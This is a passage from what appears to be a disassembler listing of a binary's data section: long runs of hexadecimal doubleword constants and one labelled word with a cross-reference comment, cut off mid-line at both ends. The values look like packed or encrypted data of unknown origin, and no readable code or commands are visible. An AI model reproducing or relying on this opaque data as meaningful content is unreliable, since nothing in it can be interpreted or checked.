0F3A7DB5Eh, 181B59E3h dd 77120084h, 49D92D96h, 9D252BC5h, 0F53AAB31h, 9314B089h dd 0EAFC39h, 3C3B21F7h, 0FB17B1Ch, 0C6ECC95Fh, 84722EA0h dd 0D2A0E059h, 230195BBh, 905B1BA9h, 8E7FBD2Bh, 27BD5FF5h dd 80D67DB9h, 6DBE944Bh, 0B729120Ah, 1B6E303h, 8D42C781h dd 4051CA4h, 472C2D88h, 5F5BD1B5h, 0F8E56A4Dh, 22208BFEh dd 1E7CCF51h, 0B81C7004h, 0B2200095h, 9601603h, 28E52DBDh dd 8B6E80B0h, 56956D07h, 4BE0C914h, 0F893D10h, 6A3C29BAh dd 0E6613EC0h, 0FE4B8A70h, 5AD710EFh, 0ABF78009h, 0E45B472h dd 701FC82Ah, 7C71E102h, 5C3344F5h, 191025BAh, 1473697Ah dd 0EA22BF01h, 4C9D8E62h, 0C6A8D17Bh, 0D0EC8B33h, 86E45F61h dd 0DE9F2990h, 75C84B6Ch, 0D2072F72h, 37DB2776h, 0CB9BD300h dd 0FA7A09E1h, 0B9FE8F94h, 31B9BD84h, 2BD8B330h, 95F5C820h dd 0A8E9DAE0h, 8159FB95h, 0F3C8B28Dh, 53D1D14Ch, 1AE0B763h dd 69008402h, 7A8D5A8Eh, 1C815B1Eh, 0FF41CBC3h, 441CD05Ch dd 3B43664Ch, 1F922C58h, 0F49CE2BCh, 2E07C00Ah, 1B4B9480h dd 6EB779Dh, 6119CE9Eh, 2B726EEh, 5F08F502h, 53805EC5h dd 0E95FDE8Ah, 0CF66BF44h, 0FB7EA127h, 2F1D89DDh, 2A11AF73h dd 0ACF4845Bh, 0B6FCB4AFh, 0ADB531C1h, 0CAC40401h, 0FD5C7418h dd 0B5149718h, 965E4220h, 193A4364h, 822CD7E0h, 7BDA401h dd 6A8C9817h, 0C1519B6Eh, 8BC9A41Eh, 0BD2FFEC5h, 606AA9F7h dd 80707936h, 0B99AE707h, 0FF090F1Ah, 31655846h, 9AFE02D8h dd 0F7B79706h, 2172103h, 0BDB0D05Fh, 0B702FC84h, 4BD380FDh dd 0B3A390B8h, 0D22B291Fh, 25082842h, 4DC50795h, 0F181659h dd 79079FCh, 0DE1DA12Fh, 0D7FEF447h, 3D4C907Ah, 35EC0F1h dd 3E35E4A9h, 0D207AEE2h, 30781020h, 0C1E9746h, 0AADAC416h dd 0B87B74C9h, 52EA1362h, 5761EB04h, 0EF93B2E8h, 0FE672600h dd 1E0D16B5h, 6FE0FCCDh, 11177FDEh, 60C75BFDh, 0B63360BEh dd 660B614Dh, 46DD41BFh, 0F3FC9D10h, 85A30349h, 21684DDh dd 61D6A406h, 646B825Ch, 701300FAh, 2AAB7A68h, 7324342Bh dd 2267EEAAh, 0FF28ECA1h, 9CBE32Eh, 7FF98A5Bh, 0E6A3A017h dd 4FB8E358h, 0FE388414h, 5DA4C80Fh, 6EE2DED2h, 9EA08A88h dd 49C5855Eh, 0FEE74256h, 755AE6A0h, 0A732613Ah, 10297589h dd 0CC0042D1h, 59CBB35Ch, 86BD329Dh, 95FF5BADh, 0A3914152h dd 284F6360h, 0D707886Ah, 8BFA393Ah, 0C1FF6175h, 60219B1h dd 88F0957Ch, 4F0FE13Bh, 45E456ACh, 0AB041297h, 7309D17Ah dd 9E71C69Eh, 4570246h, 479DA9BBh, 0A39DB805h, 0ED6C5EBAh dd 84CCBDF3h, 6752049Ch, 0AA6DDC5Ch, 0B501E802h, 1296FC61h dd 1FB03060h, 0D907E017h, 0F1DAD586h, 9313DE11h, 25429D20h dd 0A3C05BE4h, 0D558D09h dd 87142BA3h, 6C9A1297h, 8AB784E4h, 0B8005171h, 18ED9D09h dd 0A26900F0h, 3567B1B3h, 0AD04FF83h, 0BD2829Ah, 1EAD08BFh dd 7AF05B13h, 388617D7h, 0AC74FD5Fh, 0E5008C17h, 19DC027h dd 0BF16C98Dh, 14E471EDh, 0F3807760h, 13FE0558h, 76A808CDh dd 0FB616084h, 1117A7D1h, 6A5F893Ah, 0D00A26Eh, 52941F4Eh dd 3C4F9F8Fh, 20BD582h, 162007E8h, 17A863FCh, 40E30EEEh dd 8671C0B9h, 129D850Fh, 0BFE95001h, 5280C745h, 0EC56D0BFh dd 0BBC0C016h, 234720ACh, 8A50C2C1h, 0A3A08BD9h, 0A4943CFDh dd 9C32AB5Eh, 0A4108F89h, 9BEA58D8h, 0E8E9C45Ah, 132714FCh dd 9CDE1CFCh, 21D0C734h, 0CA8DBC41h, 7C9AC6D8h, 0BDE9894Fh dd 30931AA8h, 36FC1B00h, 9338CB1h, 4BCF80A5h, 0E9211877h dd 0B7C49776h, 302F2545h, 0BF48C7E9h, 0C531E00Bh, 4F3216F5h dd 0FAF72058h, 49021A83h, 38450480h, 6E345E61h, 0BFFEF8CBh dd 2AABFAC5h, 335A806Bh, 0B725F99Dh, 0F37AD0DBh, 89F20B04h dd 0BB3AE5E0h, 546FFA27h, 1446D65Fh, 0F1F8BF12h, 2D54201Ch dd 85B03CE3h, 91E16BC1h, 5FC46E3Ah, 2909DAE2h, 385671B5h dd 0D6705151h, 5B77C04Dh, 0A1934368h, 0BCC0185Fh, 7EA9FBBAh dd 99F4950Ch, 0BE90BC02h, 0F6377518h, 7CCD8D00h, 90CF1AB1h dd 1312267h, 560FFCC9h, 0FB58E935h, 4FE6BFh, 2F299FA2h dd 0BB6B4803h, 0AE3DBF07h, 6DD0ABB2h, 2F32F306h, 7DFA97B7h dd 719D2B09h, 9FC71418h, 54690CF6h, 0EF5D69A3h, 641A456Ah dd 0BCC8FBEEh, 0FE8162Ch, 0AB5E2583h, 12F9F671h, 8F19A77Fh dd 2DC5A433h, 8B5EC29h, 899E7687h, 0D26595DCh, 0F2BBF00h dd 1BB19D2h, 1BB1CA98h, 0FAB5BD0Bh, 63BDF7h, 0C07BAD86h dd 0DB7778A1h, 0E0779497h, 0F93EE104h, 0FAA9B847h, 0D37501DCh dd 0B526433Eh, 83C83BCEh, 99379D2h, 35F25009h, 0A5234C7Dh dd 0FDBA970Eh, 0FC2EEC4Bh, 0D1C096Eh, 0D6FC0E6Bh, 0B59D0B05h dd 0B3BB28FEh, 2DEED99Fh, 7D40006Fh, 5E0BE099h, 16D6F289h dd 76F3800Fh, 97DA4A50h, 0BB5C259Ah, 68E47569h, 2B94019Dh dd 0DEF15095h, 0F94F717Ch, 819A5FB0h, 0DFC015C8h, 97DE8ACBh dd 255EA492h, 617300DEh, 2AE897C0h, 549F8D31h, 0C0DE2FF2h dd 0C057BED6h, 8443A4C8h, 2CCA8809h, 0A5937B07h, 4BD6A9FCh dd 2E30AB69h, 8312199Dh, 0CA58BE2h, 3F46C9B5h, 1AA8FCA2h dd 5D52820Bh, 66D789B0h, 7A035C7Ah, 75FE0D25h, 261446D4h dd 0FD0B96B8h, 65587C23h, 0FC9EFE5Fh, 6D6719C1h, 616CF0B9h dd 725D9B0h, 0BD79E6C7h, 2A1959C1h, 3A1383CBh, 0D59BFB2Ch dd 78CBED2h, 81F20116h, 919E5FCFh, 777F2145h, 1D3BE00Fh dd 47510B86h, 79FEFDC0h, 789270h, 0ECBE05B2h, 0D7D1544Dh dd 0A16AE800h, 210B7902h, 0B031E887h, 7F0841F4h, 6E2A75B1h dd 0EA99009Dh, 0E4D9DE77h, 0EECC2725h, 57208B77h, 0F18F343Dh dd 0CF7A1E5h, 0E3C5256Fh, 92E9E82Eh, 0FC2585E3h, 262068E5h dd 9D2797B0h, 3097AD1h, 65E008D8h, 34B85061h, 425D92A0h dd 85311FE6h, 7FDC8927h, 12453395h, 23336BABh, 0A48B0915h dd 9027E6D4h, 8D9219h, 91851442h, 0F8E9E4EDh, 0B5490977h dd 0C2D84EA1h, 4D951731h, 0C17CFD2Dh, 16D5BD03h, 0B44655F2h dd 71C5F502h, 55B89698h, 2212C9CDh, 5C9056F2h, 0D8EB04Ah dd 0C639B997h, 181A3E7Dh, 6F5FEC61h, 62146495h, 4DC2E0F6h dd 0F353880Ch, 158B5DBCh, 4404E414h, 0B20B3E05h, 8F42C89Bh dd 7332694Dh, 0ACBF81EAh, 0D410CA8Ch, 84276E88h, 0FEC70901h dd 3A804F83h, 0DF5D5B74h, 4FD09314h, 0DE65C0A5h, 302E83Fh dd 0B7F0863Ah, 0A790D64Ch, 0F6041A0Eh, 0F96E6BADh, 273FE2AEh dd 53ED1270h, 1F8735Ah, 0D7BC19B5h, 2DDF8006h, 4B77904Ah dd 9F69AC31h, 0F095D34Ch, 0E7E94A42h, 5111A006h, 0B5105038h dd 0B708404Dh, 68850A4Bh, 0FE240EA8h, 0DC1403B5h, 0F9D41B20h dd 0D73AB8A6h, 965DE9C8h, 8B0B9BAEh, 6CD8FC7Bh, 0DE959954h dd 0EB5C5AC9h, 848D01D4h, 8B8EC0A2h, 0F8EC41FBh, 5FE62F2Ah dd 5F3019B2h, 0CF9D0B63h, 2BECC8A9h, 20F1B510h, 0D1FFF50Bh dd 237005D3h, 6C840017h, 52F381E1h, 8BE46F0Bh, 0B28AF84Bh dd 4C6F9027h, 8986CD60h, 321D2585h, 4D698AFCh, 3AFD490Ah dd 48127826h, 6C096E81h, 41291274h, 0BF079F54h, 759B7915h dd 60E57395h, 61C00BFBh, 9DC1CE54h, 0EC13090Dh, 0FD4C38B4h dd 3171AE05h, 0A00523CDh, 3F5FC658h, 0F0A88h, 80CE475Fh dd 0A4742D13h, 0F4377F04h, 0A6BF77D1h, 5FF6A512h, 801F9101h dd 21506BCFh, 3D43255Dh, 2D2DB8B7h, 259017C1h, 3B02CAA1h dd 2E8BB10Fh, 2609FE57h, 255F2E21h, 9209B577h, 13606117h dd 20E7C598h, 1E4AFD2Dh, 4A0A6FFAh, 9519C660h, 1027E5Ah dd 0C7BB34D6h, 7B16675Fh, 67A9CBEDh, 82B32810h, 0AE04354Fh dd 0DDF6FF6Ah, 0D5D21CE0h, 7166CE12h, 852135EBh, 48B0AB03h dd 6B197FCh, 22AC155Bh, 442487h, 0A70EEAA6h, 0BD991000h dd 0CFA91CAAh, 95FA2585h, 4F3516E0h, 0E64D9409h, 0AAB50070h dd 252611DEh, 7C5171E4h, 212C4A7h, 0CC28F364h, 35EEEE3h dd 0B15F1B91h, 16FC39B0h, 6053C8B6h, 813672FBh, 38977D60h dd 0D4E42FFBh, 60628CB1h, 57227D14h, 0DC805679h, 0C0625C8Dh dd 9434004Eh, 0AA706551h, 611CEF31h, 0FAEFB364h, 5D9D4BABh dd 0ADB3A609h, 6F3EB8F5h, 42B825D1h, 0BC0E20F7h, 0F11FA045h dd 0A18182F6h, 56A82401h, 23057B12h, 8AC00A21h, 48554C50h dd 0DF3DF347h, 0EAC208A5h, 4900CAD1h, 8768D3FFh, 11032DC6h dd 594A3463h, 7592EDD7h, 1010311Ah, 2FA3EF81h, 95C02272h dd 0C69763E9h, 0EF9A9573h, 0BD1D8C0h, 4BEF3197h, 846D297Bh dd 9A2FE3AEh, 0F08F8FA8h, 97803220h, 0B097B2A8h, 138A6000h dd 0F48D31EBh, 8B5F619Ah, 898581BCh, 37852495h, 0DABDF0B0h dd 3F0011C9h, 3BB0FE5h, 97812274h, 6D5C10B0h, 82E91F5Bh dd 0CA5F90BCh, 0BC6E5BB1h, 20A8B621h, 0B9701181h, 0F51204B4h dd 0B000DCE1h, 77AD9F03h, 0B160131Fh, 0F091C062h, 2B2C619Ah dd 0DE33C0h, 0B75ECBF2h, 0D04B5BDAh, 0E98AF762h, 0AD737F24h dd 9418584h, 2E07CDBFh, 4FA077A6h, 7000D769h, 67534BCCh dd 0F78DBB66h, 0F4ABBC3Fh, 0B543A4h, 0FBF09A4Bh, 0A81F72EBh dd 9D318A05h, 0EF2317D5h, 29AE8471h, 0A97D394Dh, 3D3CF3E9h dd 0A671F5C9h, 858BCBBBh, 12656BD3h, 5BB9A49h, 0EB17B961h dd 2881539Eh, 0F81502E5h, 0EAA30E53h, 1C5729B2h, 346B4F17h dd 0B8A792F0h, 0E4C66757h, 71A16019h, 2E92133Ch, 0A9BA162Ah dd 0B51676A2h, 0E6A93229h, 0EDFDF9C9h, 0CBDCEB82h, 9A328D01h dd 7FFEA8B1h, 6525E6D9h, 3F90B8Ah, 0F407F6h, 4895177Ah dd 5030FCFDh, 24FAF34Fh, 0A396AC8Ch, 6E614ADDh, 3912543h dd 998ABB32h, 282E3727h, 468A76B5h, 12EA0093h, 7C8B4FADh dd 0BF0460D7h, 68534C46h, 0FC4884B8h, 0D290F9D7h, 71018BB0h dd 0A32F5A9Dh, 32166C5Bh, 9CD209BBh, 79516A48h, 48E3FC92h dd 0D4B25Eh, 54348E9Bh, 26584FEh, 0C5E47935h, 3451310Ah dd 734AE700h, 0CA9260h, 8152DE4Eh, 0EB16AB26h, 0BB905F00h dd 7B7EC589h, 20604E50h, 3146D279h, 53917300h, 6C88FC5h dd 78FE00E0h, 5FD9FB8Eh, 32149321h, 4C912EB9h, 0ED902508h dd 7A4AC185h, 0E9BC2A15h, 0CF8663C0h, 0E4246218h, 11FDA74h dd 0E0E356A5h, 21BA5183h dd 66B06012h, 686920ABh, 35279375h, 9D4F0B7h, 48E9708Ah dd 0CFC1474Dh, 7FD6BA7Bh, 0DE4B32CCh, 5800E8Ch, 8FE9E0F7h dd 0A77AEB01h, 63C12D7Bh, 9117B8F4h, 707BEAh, 0F32CD6ECh dd 4AE68870h, 0FBFCD4C9h, 3200817Bh, 0C63B633Dh, 9F2FF97Fh dd 0FD6789E6h, 1D44F46Dh, 0E47EC598h, 351A01D7h, 0D42E3438h dd 6BF200Ah, 0A92927CBh, 8B305BE7h, 0A301DD8Ah, 3F59D380h dd 1CA8FEB9h, 1701C0ACh, 0E3B0A35Dh, 0B8DD2772h, 1C60E0A5h dd 9FB9820Fh, 4F4DBF00h, 9E96238Dh, 5B570E8Ah, 161C44D7h dd 0C5FFAC8Ah, 0B0FD9D03h, 14D86801h, 6850FA95h, 0B86D833Eh dd 0B4EFF56Eh, 24E35F6Dh, 0EF5C275Eh, 0CEDB4ADCh, 0C07ED789h dd 57851ACBh, 35B4309h, 90C0BB04h, 3B138BB8h, 11C8073h dd 8BB5FDB5h, 0D8B57724h, 82B21595h, 4D6112CDh, 73A1E3C5h dd 0BF6675E8h, 0CAA109E6h, 31FF1508h, 0F9B0B7F6h, 38707280h dd 8B619760h, 0AD19D4FAh, 0E0FDA540h, 0F4CF48A8h, 7123E98Dh dd 5353C42Fh, 83500580h, 51BD272Bh, 5E4AA852h, 91EC2AFDh dd 2F957C07h, 829BE87Fh, 0FD25D535h, 0A06DC2B0h, 78147702h dd 76516CD4h, 280E51Bh, 5F4BA7FAh, 7C416DDFh, 0F961D56h dd 80CC3B11h, 0D8771464h, 1D0F4B84h, 0B5132264h, 0DCC816B1h dd 8AF24BFAh, 0F7872750h, 7A6BFB1Ch, 54591Bh, 0FB0EF61Dh dd 2B006D59h, 19BBFD81h, 7DAC4D54h, 409896E3h, 4355E083h dd 1280C700h, 0C794DFBh, 0BC0E5F29h, 1500AA79h, 8DBDFADDh dd 60480813h, 0A28C14A2h, 0E9ED12FCh, 0ED2F3CE1h, 923E8A2h dd 7737780Dh, 41E3957Dh, 0C0FBE770h, 7B04C5F7h, 2B5BD23h dd 93ADF2BEh, 0E24A646Bh, 5F29897Fh, 0D740146Ah, 5080305Dh dd 0A71309BFh, 2B500482h, 151B797h, 893330B5h, 2C5CFD80h dd 5B2C2519h, 181D7934h, 7BCE0050h, 0AE01AC6Bh, 0FA4A3A4Eh dd 34800020h, 77D703F6h, 0DD400945h, 8B1EFADh, 0C8F9DA3Fh dd 927DCB18h, 11F93715h, 0EA618219h, 0A62560AFh, 0B19D128Bh dd 0B449BC07h, 12D66AAEh, 9EE1FCBAh, 0D6879E7Fh, 60D6D8FFh dd 61F38B17h, 29E26BBAh, 758F7D1Ch, 9A52C0C6h, 98B17351h dd 3B0EB14Ah, 6038814h, 0E1DBB712h, 0B87A29D0h, 0FA8A250Eh dd 35D5C7C2h, 801D9142h, 83306511h, 0B7700008h, 8144E0CCh dd 2212FAC7h, 0C6E3123Dh, 31BC084Bh, 7462BF40h, 82524959h dd 3CB66080h, 0D1498D8Bh, 0DF6125F8h, 3A2CBAB5h, 76D655E2h dd 5F2110E2h, 8A0F6543h, 9A2B5313h, 5845E407h, 318E8073h dd 8F39D90Bh, 0C539139Ch, 3FDB0356h, 0E8175780h, 0F72799AAh dd 0D6F0FC14h, 5DC01794h, 0F38CC6Fh, 4AC2E0BBh, 0C28CBE72h dd 0BB2FD284h, 6F35C2CAh, 0D120FA1Bh, 5CEFCFB3h, 0F7049C1Fh dd 0EA8B5BBCh, 5E5085B4h, 6630AE60h, 1AAA640h, 0AC5BC517h dd 0E5EBFFD1h, 95F92BD3h, 0B4310F14h, 0FF585A16h, 0D2ADF053h dd 8AB37AB9h, 0BF837502h, 7BD78C0Fh, 2D80BA41h, 2F872762h dd 0B2ACF8D1h, 3F06DB95h, 0AC78FD4Bh, 6C058C18h, 0E298AD65h dd 0BCE83425h, 0E1C8F912h, 63A72FD1h, 7B38B2B0h, 77DEAD12h dd 3789D3E2h, 82DCBD75h, 10AE6B6Dh, 0EBC04FDh, 0E0D2F2B9h dd 0EDBCC655h, 5E040189h, 0A4B37802h, 0E95F5104h, 0F6BEF37Fh dd 1557F0C1h, 7D92B547h, 9EF1C6C0h, 0E0DF7401h, 5AA67011h dd 2F394AECh, 0BA0497EAh, 0F3A1AED8h, 57C6E2Bh, 0A148095Dh dd 5BF060ABh, 53FEDB81h, 163CDE26h, 0AC048808h, 87B5099Eh dd 0DBED9062h, 58DD93C0h, 95DE139Bh, 0C960AA79h, 98745EBBh dd 0EF154B59h, 0DBAAF017h, 80508ED9h, 0DA88F490h, 11E5A0B6h dd 0FD078230h, 28300A7Dh, 0C15A4AFCh, 3E1FF93Fh, 992FE96Fh dd 840559E1h db 0CAh, 0A3h word_505446 dw 29F1h ; DATA XREF: ___:off_4274D8o dd 4E66A2BBh, 0E843E023h, 298D8EBh, 0D12B9D27h, 0AC90557Ch dd 7CED0F56h, 0F145A3DBh, 9ECC1E3Fh, 0C36401B1h, 8937735h dd 46A5355Fh, 42C80DF0h, 79B38902h, 510FFB55h, 0AE602E1Dh dd 1F7B92h, 0EA82423Bh, 0DE8BE9C2h, 0F1455EB4h, 0A057C80h dd 0D6E1BD71h, 2E28216Eh, 0B2FF1C35h, 0D1FF043Dh, 84EF0BF9h dd 8538ABB2h, 0E5FB95B8h, 0B50E6D8h, 9626C269h, 0F0AFB354h dd 5E2FA425h, 2AE76E02h, 0F09F3BFh, 0DAB589FDh, 3EF6C25Ch dd 0E7D900Eh, 5BDB9239h, 99D9FA96h, 70A7207Bh, 55002965h dd 8B9A8C42h, 9F6F0FD9h, 145970F3h, 0A0593948h, 801EB58Dh dd 5195EEE9h, 0F947C2C9h, 0FF940509h, 6FB91DBDh, 0A20117C9h dd 0B67FB1B3h, 2C9CB499h, 0C4B0026Eh, 512B1DBEh, 0C13428D7h dd 0BC442Fh, 0BCA117Ah, 0A17D0958h, 1F007CF8h, 79998432h dd 4ADCDE70h, 5332EAD7h, 0BD3340DFh, 8E254B29h, 206A4AF4h dd 0DC959300h, 29602654h, 0DC9D8527h, 0F76CA5A5h, 10DD78C4h dd 0F884DCBFh, 4F6ECFB5h, 29EC1BC0h, 0BBFB79B5h, 740775Bh dd 21951209h, 4E29FF13h, 8D0F22DEh, 9F2694DDh, 99404276h dd 46378h, 6C97B4FEh, 3CD9462Ah, 3AD2BA51h, 59B9E40Ch dd 0A07048E6h, 0E48FA45Ah, 0C9F57125h, 9C2C5B1h, 912DF54h dd 4462B1E2h, 0B15C1A69h, 4005BFCAh, 25AE33D4h, 0C044FF4Fh dd 0D0342149h, 511F54A1h, 0B804E3EAh, 5B62821Ah, 0F84FC8BFh dd 80D18B3Fh, 0BB550BEFh, 0A87CE97Fh, 82039149h, 496AE05Dh dd 1B44E04Eh, 0ADBD9589h, 0E8A09012h, 20EE8DE5h, 4C4B8793h dd 56C18A04h, 0D8BF8598h, 33A80B54h, 73970D55h, 89FB2F0Ah dd 9EF1B50Ah, 0D7FBBB81h, 8A6B2F7Fh, 0AD286220h, 201CD71Bh dd 2012E121h, 8D310964h, 6B5C303Dh, 827C5C50h, 176A5175h dd 5197446Ah, 1FB81603h, 618401CFh, 0C150B907h, 31EDBD33h dd 77109B11h, 0A55FB0EBh, 290224C7h, 0D3512D4Fh, 0AA1D31A4h dd 0E220CA3Ah, 0CAC985h, 0A2727453h, 0F8B9A9AEh, 9F077500h dd 2B938924h, 8740BDC0h, 0D2EE7804h, 323D5AC4h, 2B3B7DAEh dd 2A16E46Ah, 0E079F609h, 48B311F5h, 0EDC1C46Eh, 7B2C6762h dd 64C7D7E9h, 2A867DCh, 675CE81Ah, 0F444F625h, 2855EF0Ah dd 211CE24Eh, 2D2259E5h, 55CDF4h, 0C2C694F3h, 6B584D2Dh dd 7BF65FA4h, 3A3015B2h, 0FE8B2585h, 766BB3C5h, 5E0C916Dh dd 0BAD020AEh, 75382AB5h, 7ECFCCB1h, 818E064Bh, 64737A2Dh dd 12DFCD8h, 4A7354D7h, 2EE66517h, 5FF99F22h, 6E52E373h dd 0B5D239C1h, 0BBE79400h, 3FC8D8EEh, 0CDE1FF27h, 0C00AC5BCh dd 1985BD83h, 25901C97h, 0C14F03D3h, 0EB061540h, 0B803045Fh dd 0FEC579B4h, 549AADF2h, 0E066EDF7h, 6BE4B718h, 3638C705h dd 0D8BF34C5h, 0F64BF761h, 4D22938Ah, 41CC709Dh, 5CC76F33h dd 66040DD4h, 0BD8A808Ch, 0C495112Dh, 16B79F12h, 0CB04491Eh dd 99802861h, 1CEAB79Ch, 25DD9D2Bh, 0A26BACC6h, 0DEAAFC34h dd 9DE6789Fh, 919249DBh, 2E2B29AAh, 0ECAA0F24h, 0DCB3D291h dd 2A24AB4Ah, 0A9C930C7h, 2F67F8CFh, 0E95EEE9Ah, 0F05B586h dd 8862235h, 0D842A882h, 0A1E0BC2Bh, 0B95DB501h, 8468048Ch dd 12AE28F2h, 7B1EA0A3h, 5DF61116h, 558F71FBh, 0F3490A08h dd 0E988E002h, 275D01F1h, 0FE6B0D04h, 2659E9CEh, 58F78184h dd 70D956C7h, 5B7C9505h, 9FC498F4h, 7C9D1064h, 0B48567AFh dd 5AE1312h, 0AF119DF8h, 3CDFE698h, 81002FEFh, 0CDC85C13h dd 27055809h, 896104DDh, 2AD6FAEh, 0BE64E68Dh, 0BCD37F3Dh dd 3874DB52h, 8951D71Dh, 2D70C1F6h, 25DC0E9Eh, 405739B1h dd 0E4850977h, 5696800Fh, 0E4505F2Dh, 0D1D20790h, 0EA8E19A5h dd 0F4366096h, 0EB1C22C6h, 82FA0BDBh, 3DCF511Eh, 275F5CBEh dd 17C2BD75h, 22D1BF6Bh, 10C59D89h, 0B430E82Fh, 603E4EAAh dd 4919BAA0h, 0C01C06BBh, 63BF0E61h, 0B45AB35Fh, 0B80003F3h dd 0BE668513h, 0B578C0CFh, 83E54AC4h, 70BF1EC8h, 6E6B16ECh dd 7B14BF58h, 0DC452778h, 0FB994586h, 8B02487Bh, 0AE9909Ch dd 0A3833920h, 0C0B3A7Eh, 2F639100h, 8076BF50h, 9051B517h dd 0A51FEA6Fh, 0B3D9C56Fh, 1C9AAAC1h, 30172D6h, 0D3E0C0DFh dd 61182D37h, 0F5A79CF9h, 0D521BA9Ch, 0DF50E52Eh, 608B819Fh dd 6C7C737Ah, 0FCF7E94Fh, 3C9A7C37h, 0E319642Eh, 2B61BAA8h dd 8BEEB0E8h, 0B89D123h, 2B128C0Fh, 429BE6FDh, 945FC8F5h dd 51B3D1F9h, 6EBA1C4Eh, 0EFE60B7Ch, 46F98Ch, 7B2E251Eh dd 6E00188Bh, 0C30D0488h, 5D3AE2Ch, 0EF497369h, 0B26EF6E9h dd 91E2301Ch, 89E84C01h, 5DCA7BBFh, 0D470B86Bh, 37110E5h dd 0CFD68101h, 3F40A224h, 0AE4A21B6h, 24AAD135h, 0F8F6AE07h dd 0D09CABA5h, 0D7F10328h, 96DF8B08h, 64A2AFD5h, 2009B43Dh dd 18F582A7h, 71C6B328h, 965C5Bh, 0F52F125Dh, 1FF53B2h dd 9C9BD15h, 5BDFB76Fh, 6B2A21B1h, 61523B6h, 8652BCB4h dd 0F0827570h, 7012DF7h, 15790373h, 3D5B9618h, 6AADE1EDh dd 0F40044A7h, 0C8FDBC11h, 999E6864h, 0E9AD0116h, 2535BFC0h dd 899533B8h, 0C7236D8Eh, 23D0830Fh, 3E814E09h, 0E7E6462h dd 0D876BD4Dh, 0B3915360h, 832527EEh, 5DA56271h, 0DE163AB7h dd 608712ACh, 5564E80h, 0AB61F762h, 1D23E86Bh, 0D9098C00h dd 659CEDh, 7ACC519Dh, 0D373BF66h, 8F13448Eh, 0FC7A7B00h dd 75A107E7h, 5D4B0006h, 4D43BB4Fh, 982C79B1h, 0D3C1D0Eh dd 9A5AF68Eh, 0B1B8BC29h, 1512E20Bh, 0D139F754h, 0BA7DF221h dd 0FB8B04AFh, 4900C8E8h, 0FABB96A1h, 424AA0DAh, 64C0D5ECh dd 90C59A8h, 9602B3E6h, 0D96E8B71h, 0D76D7594h, 0A9302BE1h dd 0AF5F0423h, 4E887F28h, 0C8D09AF2h, 73B8C016h, 74BF09EEh dd 6B58A5E4h, 0CB28F997h, 0C1446C6Dh, 34A203B8h, 0F0792Bh dd 0D63D77DFh, 500582F3h, 3489FE8Bh, 0E7BC1EF9h, 0BF6C4B01h dd 51B2D327h, 23776B3Ah, 68600915h, 5D6B91FEh, 4C49A76Dh dd 0BA3913F3h, 0ADB8279h, 425A797Fh, 971C1135h, 6C004435h dd 0FD9D311Ah, 0D7519528h, 160E3CC7h, 0F526FEFh, 0C0AB5CE4h dd 77CBE7EFh, 0E9B2952Fh, 254F4CFDh, 0E1A3C6DEh, 1AFA69E7h dd 0D019C57Fh, 3C27BF34h, 1F84C4A0h, 4127AE18h, 76D0E4CEh dd 0D4EC7A55h, 0EA15E9C4h, 8CB90985h, 34E65BB8h, 0B940600h dd 5CDBE1BBh, 3122BF3Fh, 60000D39h, 512F081h, 0B604160Fh dd 0AAD8BE54h, 50020BB7h, 0BADDF88Ah, 0E02B6D64h, 0A7C4B7F8h dd 0E5BD3312h, 5F0FDD88h, 84AF3680h, 205E08FEh, 0E3F03AB6h dd 1084D62h, 25086585h, 16BBC340h, 1C09B6E2h, 0E98B0F90h dd 0CD2F5329h, 0EA9F05C9h, 5FF954C0h, 3153B790h, 4E47772h dd 0A28156B0h, 17AB2A85h, 0E7DBEE81h, 0D56F3CC0h, 4E0075F9h dd 81A65697h, 25F19BCBh, 37FF540Ah, 2BB982BDh, 0DBDD601Dh dd 0B3E91A1Fh, 247E09D7h, 9AFF61C7h, 3FF6D34Bh, 5500533Eh dd 76028C6Ah, 0E14B4E97h, 0FEBB0B8Ch, 40E20B93h, 126DD1FFh dd 42CBE6C0h, 0DEDF05F2h, 0B8B47B31h, 1A9B8334h, 6C80DCF1h dd 122DC31Ch, 85158D01h, 95588145h, 425CD699h, 0BB106B71h dd 420BC957h, 55026A38h, 8969CA64h, 90E0A4CEh, 340FD8Ch dd 0CD3C9A3Fh, 0B1888E55h, 0B7732874h, 0E2D40612h, 0DC86C9BFh dd 0E1074BAAh, 0C78DA9FAh, 44985F40h, 0B4DA4F34h, 8958900Dh dd 0FF302594h, 4C2D8EB7h, 0F08509E1h, 455F02E9h, 403C9286h dd 0B501F5CBh, 6EB502C9h dd 954CB890h, 0BA50E785h, 6FC2579Eh, 0AE56979Bh, 4909A2CAh dd 52835606h, 0BD044FDCh, 8EAD2A29h, 5BF7E3D7h, 0FE176ABCh dd 7E7AFA5Fh, 80605107h, 0A5A13FF5h, 2F5EFFDEh, 989BB3C6h dd 2FD2D9Bh, 0FE40274Fh, 4AD682B6h, 19B9D8EAh, 58F90140h dd 0E33D57B0h, 2E667089h, 0BD7D9B58h, 0A34A2D42h, 2CF40A83h dd 1C00CD09h, 0E5EF077h, 94D10493h, 0ADBEA73Ch, 3E822B0h dd 0CB46B860h, 0ACEC4E0Ah, 222584B1h, 0A9DB0373h, 31EBEF4Eh dd 0DCD09D9Ch, 3400961Ch, 2B7136BCh, 226A8495h, 61B54CE5h dd 0BF042411h, 15957F90h, 0F6BF800Fh, 7C545E0Ch, 329D802Bh dd 0D16B10A5h, 1A409F56h, 78795A4h, 8291402Dh, 0BC83E5D7h dd 38F38235h, 7F01E29Fh, 0CC50D086h, 551129BFh, 17F90B11h dd 0E7AE526Fh, 0B910096Bh, 1F4F0781h, 8B24D130h, 0D2214AF3h dd 442B15D2h, 2FF10738h, 0A6D8611Bh, 0DB80153Bh, 2C258C50h dd 25DC6616h, 0D365DC8Ah, 4ED5BC30h, 0D9554A0Ah, 0B96F30D3h dd 0E4852F41h, 1078D7DBh, 0EB5A729Fh, 8CF71061h, 0BC83FD2Fh dd 21015F72h, 0D92B60E8h, 0DA2288Dh, 8D29B509h, 8101C86Ch dd 0A07FBBD7h, 0F1352B08h, 0D24C9E14h, 8B8568FDh, 27F6BEFEh dd 0F9950B06h, 0B9F25B23h, 4B0E8F38h, 0EA4BB76Fh, 0E8F9D845h dd 0E458D420h, 0FDBD16AAh, 0C708EC60h, 141EB531h, 20C44A3Fh dd 0E276EBFh, 1F3263FEh, 0BCB5DC81h, 0DB6AD221h, 7E10C096h dd 0B6F1D5Ah, 0E003C70Ch, 6EDE0309h, 0DB2FC92h, 9AF1DA40h dd 0F7BA4BC8h, 433CE248h, 0C2A8B35Eh, 0B7EF5F70h, 29601BE4h dd 680494ADh, 0FF140C4Eh, 0FA2D0AA6h, 0EAC009EDh, 2CBB6E9h dd 990EEF2h, 59571F25h, 0BD310289h, 